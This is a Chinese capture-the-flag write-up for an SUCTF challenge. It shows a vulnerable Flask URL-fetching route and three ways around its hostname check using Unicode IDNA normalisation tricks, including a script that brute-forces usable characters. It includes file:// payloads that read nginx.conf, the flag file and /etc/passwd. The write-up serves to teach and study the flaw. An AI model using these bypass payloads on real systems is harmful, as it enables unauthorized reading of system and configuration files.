给了源码
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
方法一:
前面两次需要绕过 host == 'suctf.cc'
到第三次会有一个 h.encode('idna').decode('utf-8')
会将 host 转换为国际化域名(IDN)的ASCII兼容编码(Punycode)
看这篇文章https://xz.aliyun.com/t/6070?time__1311=n4%2BxnD0DgDcmG%3DrDsYoxCqiKKD5e%2BhgSR00bD
在unicode中有一种字符℀
(U+2100),当IDNA处理此字符时,会将℀
变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站
所以可以通过℆
来绕过检测, 读取配置文件
?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
最后读取file://suctf.c℆sr/fffffflag
获得flag
方法二:
https://www.xmsec.cc/suctf19-wp/
通过一些其他的unicode符号经过punycode 转为 c
的字符
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=="__main__":
get_unicode()
?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf
方法三
利用了urlsplit不处理NFKC标准化
file:suctf.cc/etc/passwd